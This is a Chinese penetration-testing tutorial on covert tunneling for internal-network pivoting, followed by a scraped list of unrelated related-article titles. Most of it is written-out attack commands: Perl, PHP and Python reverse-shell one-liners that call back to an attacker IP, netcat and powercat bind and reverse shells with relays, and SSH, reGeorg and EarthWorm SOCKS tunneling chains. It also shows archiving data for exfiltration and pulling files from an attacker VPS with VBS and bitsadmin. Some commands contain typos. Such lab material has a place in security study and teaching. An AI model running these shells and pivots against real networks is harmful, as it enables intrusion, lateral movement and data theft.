目录

一、传输层隧道技术

1.Netcat获取shell(反向shell)

第一种:如果目标主机安装nc

第二种:目标主机没有安装nc,使用php也可以反弹shell

第三种:使用Python反弹shell

2.Netcat搭建内网代理获取shell

Powercat工具的使用

1.powercat获取正向shell

2.powercat获取反向shell

3..powercat文件传输

4.powercat做代理

二、应用层隧道技术

1.SSH协议隧道技术

1.环境搭建

2.ssh常见建立ssh隧道所用到的参数

3.ssh-本地端口转发

4.ssh-远程端口转发

5.ssh-动态端口转发

2.HTTP协议隧道技术

1.工具:reGeorg:

2.常见参数说明

3.复现

3.socks代理

1.socks简介

2.socks代理与端口转发的区别

3.工具:Earthworm(EW)

socks二级级联

多级级联:Lcx_listen、lcx_slave的用法:

4.压缩数据

4.1 工具:WINRAR

5.上传下载

5.1利用FTP协议上传,需要ftp账户和密码

5.2利用VBS和VPS上传

5.3利用bitsadmin下载


一、传输层隧道技术

1.Netcat获取shell(反向shell)

第一种:如果目标主机安装nc

  • 在本地监听5555端口

  • 在目标主机上输入一下payload
    • Socket;$i="10.2.1.170";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • 在本机查看shell已经反弹

第二种:目标主机没有安装nc,使用php也可以反弹shell

  1. 首先还是在本地监听5555端口
  2. 然后再目标主机输入一下payload
  3.    php -r '$sock=fsockopen("10.2.1.170",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
    
  4. 然后查看本地主机发现反弹shell成功

第三种:使用Python反弹shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.19",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

2.Netcat搭建内网代理获取shell

原理:公网服务器(kali2019)将web服务器(kali2021)作为代理访问内网的服务器(windows7)

  1. 首先在自己的服务器监听端口

  2. 然后将nc的脚本程序放到目标主机上,然后将shell放到配置好的端口下

    1. Nc –lvp 5555 –e /bin/sh    linux系统

    2. Nc –lvp 5555 –e c:\windows\system32\cmd.exe    window系统

  3. 最后在边界服务器上连接双方的端口

    1. nc -v 10.2.1.170 8888 -c "nc -v 172.31.1.69 5555"

  4. 然后再本机查看反弹shell成功

Powercat工具的使用

下载链接 :https://github.com/besimorhino/powercat

1.powercat获取正向shell

  1. 首先在目标机开启powercat
  2. 然后使用管理员权限运行cmd
  3. 修改权限:Set-executionpolicy remotesigned
  4. 然后引用powercat:
  5. 最后将shell权限给到端口:    powercat –l –p 6666 –e cmd.exe –v
  6. 最后欧在主机监听端口即可:

2.powercat获取反向shell

  1. 第一步先监听端口
  2. 第二步在目标主机上使用powercat:powercat -p 172.31.1.69 -p 9999 -e cmd.exe

3..powercat文件传输

  1. Windows7下执行:     powercat –l –p 4444 -of c:\1.txt -v
  2. Windows server 2012:     powercat –c 192.168.150.7 –p 4444 –i c:\1.txt –v
  3. 可以在2012上继续添加内容,然后ctrl+c结束传输即可

4.powercat做代理

虚拟机有点问题暂时不做演示

C:powercat –l –v –p 6666 –e cmd.exe

B:powercat –l –v –p 8000 –r tcp:192.168.150.7:6666 (作为跳板)

A:nc 192.168.150.12 8000 –vv

二、应用层隧道技术

1.SSH协议隧道技术

1.环境搭建

  1. 需要修改配置文件:vi /etc/ssh/sshd_config    SSH配置文件
  2. PermitRootLogin yes        是否允许root登录
  3. PasswordAuthentication yes    是否允许使用基于密码的认证
  4. Allow TcpForwarding yes        是否允许转发TCP协议
  5. GatewayPorts yes            是否允许远程主机连接本地转发端口
  6. TCPKeepAlive yes            保持心跳,防止ssh断开
  7. 重启ssh
    1. Service ssh restart
    2. /etc/init/ssh restart

2.ssh常见建立ssh隧道所用到的参数

  • -C    压缩传输,加快传输速度。
  • -f    将ssh转入后台执行,不占用当前的shell
  • -N    建立静默连接(建立了连接,但是看不到具体会话)
  • -g    允许远程主机连接到本地用于转发的端口
  • -L    本地端口转发
  • -R    远程端口转发
  • -D    动态转发(socks代理)
  • -p    指定ssh端口

3.ssh-本地端口转发

B为中间服务器,可以访问A,C两主机,但是A,C之间不通(或者C能通A),那么可以vps使用下面方法,进行端口转发

A10.2.1.88    B:10.2.170  C:72.31.1.69

  1. 首先在中间机上输入:ssh -CfNg -L 222:172.31.1.69:3389 root@10.2.1.170
  2. ssh -CfNg –L 本地端口(vps):目标主机:目标端口 @中间web服务器ip 
  3. 然后输入本机密码即可
  4. 最后在B服务器访问端口:desktop 10.2.1.88:1111

4.ssh-远程端口转发

Ssh远程转发 远程端口转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地对应端口

B为中间服务器,可以访问A,C两主机,但是A,C之间不通(或者C能通A),那么可以在中间服务器上使用下面方法,进行端口转发

A10.2.1.88    B:10.2.170  C:72.31.1.69

  1. ssh -CfNg -R 888:172.31.1.1:3389 root@10.2.1.170
  2. 输入170的密码,然后连接即可

5.ssh-动态端口转发

在中间服务器上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入web服务器的密码

  1. 首先在web服务器输入:ssh –CfNg -R 2222 :172.31.1.69:3389 root@10.2.1.170
  2. 然后输入密码
  3. 修改公网服务器的代理文件 :vi /etc/proxychains.conf
  4. 使用:proxychains curl 172.31.1.69:80

总结:动态端口转发就是将web服务器作为代理,使得攻击者可以访问web服务器能访问到的资源

2.HTTP协议隧道技术

1.工具:reGeorg:

https://github.com/sensepost/reGeorg

可以看到该工具有很多脚本,根据所需选择合适的脚本即可

2.常见参数说明

  • -R 根据上一次进度继续破解    -p指定密码破解

  • -S 使用ssl协议连接                -P 指定密码字典(文件)

  • -s 指定端口                            -t 指定多线程数量

  • -l 指定用户名                           -vV 显示详细过程

  • -L 指定用户名字典

3.复现

  1. 首先修改代理文件,开启代理
  2. python reGeorgSocksProxy.py –u http://172.31.1.69/tunnel.nosocket.php -p 9050

3.socks代理

1.socks简介

  • Socks代理不是socket端口转发,不能混为一谈
  • 一个正常的socket隧道必备两端,一侧为服务端,它会监听一个端口等待客户端连接;另一侧为客户端,通过传入服务端的ip和端口才能主动连接到服务器。 端口转发工具(lcx.exe/htran)的工作原理:是将两条socket隧道对接起来,打造一条可“异步双向通讯”的转接隧道。
  • Socks代理功能核心:帮他们完成socket访问网络。当我们通过代理服务器访问一个网址时,socks服务器其实时起到了一个中间人的身份,他们分别与双方(浏览器/被访问网站)通讯,然后将获取到的结果告知另一方。
  • Socks代理的工作原理:当我们访问一个网站时,浏览器会先发送一个被访问目标基本信息(url和服务端口)给socks服务端,socks服务端解析了这个信息后,会代替浏览器去访问目标网站,并将访问的结果回复给浏览器端

2.socks代理与端口转发的区别

  • socket端口转发无需通讯协议支持,而socks代理需要socks协议支持
  • socket端口工作方式不一样
  • socks代理一对多,端口转发一对一

3.工具:Earthworm(EW)

  1. 下载:EarthWorm
  2. 6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)
  3. 开启socks正向代理(双向连通)
    1. ./ew_for_linux64 -s ssocksd -l 1080
    2. 开启之后这个服务器作为代理服务器
    3. 然后再19服务器上边修改代理配置文件
    4. proxychains curl 172.31.1.69
  4. socks反向代理()
    1. 首先开启客户机的socks服务

    2. ./ew_for_linux64 -s rcsocks -l 7777 -e 8888

    3. 然后

    4. 然后再内网服务器是上开启socks服务器端:

    5. 然后再公网服务器上再次修改代理配置文件,改为web端服务器代理的端口7777

  5. socks二级级联

    1. 在目标服务器上执行:ew –s ssocksd –l 9999
    2. 在中间服务器上执行:ew –s lcx_tran –l 1080 –f 192.168.150.7 –g 9999
  6. 多级级联:Lcx_listen、lcx_slave的用法:

    1. 在vps执行:ew –s lcx_listen –l 1080 –e 8888

    2. 在目标服务器上执行:ew –s ssocksd –l 7777

    3. 在中间服务器上执行:ew -s lcx_slave -d 10.2.1.170 -e 8888 -f 172.31.1.69 -g 7777

4.压缩数据

4.1 工具:WINRAR

WINRar是一种功能强大的文件压缩/解压工具,支持大多数的压缩文件格式。如果目标主机安装了winrar,可以直接使用,如果没有安装,可以在本地安装后,把WinRAR安装目录里面的rar.exe文件提权出来,上传到目标主机中运行,注意:安装WinRAR的操作系统版本和目标主机的操作系统必须相同,否则可能出错

  • 压缩:    rar.exe a –k –r –s –m3 c:\web\1.rar c:\web
  • (把C:\web目录下的所有内容打包为1.rar,放到c:\web下)
  • 解压:    rar.exe e c:\web\1.rar

5.上传下载

5.1利用FTP协议上传,需要ftp账户和密码

  • Get 1.txt    //下载
  • Put 1.txt    //上传
  • Send 1.txt    //上传
  • Quit        //结束会话
  • Cd <name>        //进入目录
  • Lcd <文件夹路径>    //定位本地文件夹

5.2利用VBS和VPS上传

运行以下两条命令,即可将vps上的文件下载下来,需要改vps的ip,和下载位置

  1. echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"http://192.168.150.7/1.txt^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"C:\11.txt^",2 >down.vbs
    

2.Cscript down.vbs

5.3利用bitsadmin下载

  1. bitsadmin /rawreturn /transfer getfile http://192.168.150.7/1.txt c:\111.txt
  2. bitsadmin /transfer q http://192.168.150.7/1.txt c:\1.txt

隐藏通信隧道技术(下)相关推荐

  1. ipv6 访问内网_【内网渗透】—— 隐藏通信隧道技术之网络层隧道技术

    hidden:是否完全隐藏控制面板,还有很多设置参数,比如也可以设置显示面板,然后设置宽高WIDTH="整数" 和 HIGH="整数". 1. 隐藏通信隧道基础 ...

  2. 第三章 隐藏通信隧道技术

    第三章 隐藏通信隧道技术 3.1 隐藏通信隧道基础知识 3.1.1 隐藏通信隧道概述 什么是隧道? 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异 ...

  3. DAY43(DAY44拓展):隐藏通信隧道技术的概述与使用

    DAY43(DAY44拓展):隐藏通信隧道技术的概述与使用 OSI 七层模型 物链网传会表应 常用的隧道技术: (1)网络层:IPv6隧道.ICMP隧道.GRE隧道 (2)传输层:TCP隧道.UDP隧 ...

  4. 内网安全 隐藏通信隧道技术——应用层.(遨游于 内网任何主机)

    隐藏通信隧道技术. 隐藏通信隧道就是一种 绕过端口屏蔽的通信方式.防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信.当被封装的数据包到达目的地时,将数据包 ...

  5. 内网安全 隐藏通信隧道技术——传输层.(遨游于 内网任何主机)

    隐藏通信隧道技术. 隐藏通信隧道就是一种 绕过端口屏蔽的通信方式.防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信.当被封装的数据包到达目的地时,将数据包 ...

  6. 内网穿透 frp : 隐藏通信隧道技术

    1 frp介绍 注意事项: 1)服务器端和内网机器端下载的版本要相同,否则可能会影响内网穿透 2)根据服务器系统选择合适的脚本 脚本主要分为服务端与客户端文件 1.外网服务器端用到的是Frps和Frp ...

  7. 内网渗透之隐藏通信隧道

    前言 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断. 那么什么是隧道呢?隧道就是一种绕过端口屏蔽的通信方式.防火墙两端的数 ...

  8. 内网渗透测试:隐藏通讯隧道技术(下)

    什么是隧道? 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断.那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式. ...

  9. 内网渗透测试:隐藏通讯隧道技术(上)

    什么是隧道? 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断.那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式. ...

最新文章

  1. SpringBoot服务上线流程
  2. Quartz2D初体验(二)
  3. 老王学linux-更改语言
  4. 目前可用的微博秀的嵌入方法大全(亲测2019年2月仍有效)
  5. 一次挖掘SRC漏洞 - 从0到有
  6. 力控批量添加变量_力控组态软件的变量操作函数1
  7. 机器学习代码实战——随机森林(Random Forest)
  8. iphone远没有android好用,抛弃iPhone转投Android 我竟没有一丝留恋
  9. 深刻对比一下阿里云服务器和腾讯云服务器的优劣和区别
  10. 高质量前端:Code Review 很慢,你要忍一下。
  11. gerrit 用法 topic
  12. 最新的软著自助免费申请教程!
  13. 【稳定性day14】支付宝技术风险体系TRaaS——把风险去服务化、产品化
  14. 伦敦国王学院计算机申请要求,伦敦大学国王学院高级计算机管理理学硕士研究生申请要求及申请材料要求清单...
  15. echart地图修改label标签位置
  16. 3、计算机如何执行指令
  17. html5播放器 易语言,html5播放器playease.js最新版
  18. 工具---《.264视频 转成 MP4视频》
  19. 编程实现一个学生成绩管理的简单功能 JAVA
  20. 3ds max快捷键文件 控制键对应的键值

热门文章

  1. vscode 源代码管理窗口显示空白
  2. 小红书怎么涨粉最快?小红书涨粉最快的方法分享
  3. gdal 实现 热点分析 (Getis-Ord Gi*)
  4. 【嵌入式应用4】ROS话题编程
  5. Occupancy Map(Occupancy Grid)的更新
  6. APP逆向之易班(第一篇)
  7. xamarin学习笔记A19(安卓AIDL)
  8. Kafka概述(二)进阶知识
  9. lua脚本php,phpStudy中起用lua脚本_PHP教程
  10. 112-RTKLIB中关于dcb文件读取的问题